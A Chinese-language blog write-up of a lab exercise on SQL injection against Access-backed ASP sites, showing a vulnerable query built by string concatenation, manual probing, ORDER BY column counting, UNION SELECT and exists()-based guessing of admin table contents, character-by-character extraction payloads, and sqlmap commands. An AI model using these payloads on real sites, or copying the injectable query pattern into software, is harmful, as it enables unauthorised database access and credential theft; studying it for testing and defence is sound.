ACCESS数据库注入
0X01
我们想来了解一下access数据库
Access注入是暴力猜解
Access数据结构(access只有一个数据库)
Access数据库
表名
列名
数据
没有库这个概念 只有表这个概念
这应该就是今天的sql语句
<%
id=request("id")
sql="select * from product where id="&id
set rs=conn.execute(sql)
%>
Set rs = conn.Execute(sql) 意思是说:执行这条SQL语句、并将它保存到记录集里面! 希望可以帮你解决问题
Set 赋值; conn.Execute()执行sql 语句、并返回值
0X02好的有思路之后进行第一步 手工注入
第一步肯定是先判断注入点是否存在注入啊 由于上面 看到语句sql="select * from product where id="&id已经构造闭合了
所以这里就不许要构造闭合
但是我们还是需要照着网上的步骤 因为现实中我们不可能知道源码
1.判断网站是否有注入点。
在以asp?id=xx(任意数字)结尾的连接依次添加:
'
1=
1=
若以上结果显示"数据库出错","正常显示","数据库出错"则该网站存在注入点。
判断有注入点后我们进行手工注入看看有几个字段
order by 22正确 23错误 好的 那么有22个字段
那我们就可以构造语句
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin
看见是3,15的位置是显示的是数据 那么我们后面爆破出来列明后就可以直接 把名字放到3,15的位置上面去了
那我们现在来拆解表名,列名 方法access注入攻击片段-逐字猜解法 //兼容性好,工具一般采用这种方法
构造语句
查表:and exists (select * from 表名) 存在的话就返回正常 不存在就返回不正常
查列:and exists (select 列名 from 表名)
查数据:1.确定长度 2.确定asc数据(asc编码)
1
2
3
4
5
|
and ( select top 1 len(列名) from admin)=5 //=换成<=5也成立,下同 and ( select top 1 asc (mid(列名,位数,1)) from admin)=97 and ( select top 1 asc (mid(列名,位数,1)) from admin)=97 |
当然这里我们也可以用啊D来跑一下
0X02sqlmap梭哈
先来初步试探 因为不知道DBMS是什么类型的
sqlmap.py -u "www.xxx.xxx" (什么都不加 不知道数据库类型)
这里sqlmap判断出来是acess数据库 问我们是否尝试其他的数据库类型 n 我们不尝试了
那我们它又问我们是否要使用字典爆破表名 点yes 常见的3140个表名挨个的爆破
知道表明了后 直接爆破列名
sqlmap.py -u "www.xxx.xxx" -T “admin" --columns
也会继续用字典进行枚举爆破
今天是第一次接触到access数据库 以前遇见asp的网站的时候 就说为什么单引号报错 双引号也报错 原来asp的sql和php的sql语句都不一样 就一次小小的靶场就收获这么多
感谢卿哥为我们提供一个这么好的环境 受益匪浅
学习不要浮躁 慢慢来
最新文章
- 常用的js方法,包括表单校验的一些方法
- [WebServer] Windows操作系统下 Tomcat 服务器运行 PHP 的环境配置
- Android RelativeLayout用到的一些重要的属性
- httpd-2.2 配置及用法完全攻略
- JAVA数据类型与DB2、Oracle、Sybase以及SQL Server对应关系
- JavsScript中的Document对象
- centos7的启动流程
- Charles配置抓取HTTPS请求的Android配置
- Mysql 操作技巧
- 关于 tp5.0 阿里云 oss 上传文件操作
- HDU4185 Oil Skimming 二分图匹配 匈牙利算法
- 【Spring】9、Spring中的事件Event
- SoapUI&#160;利用SoapUI进行简单的接口并发测试
- scala生态圈概览
- hbase与sqoop的集成
- 八、mini2440裸机程序之UART(2)UART0与PC串口通信【转】
- Extjs设置或获取cookie
- checkbox多选框选择判断
- Java新人拿到一台新的电脑需要装配什么
- libxml移植到android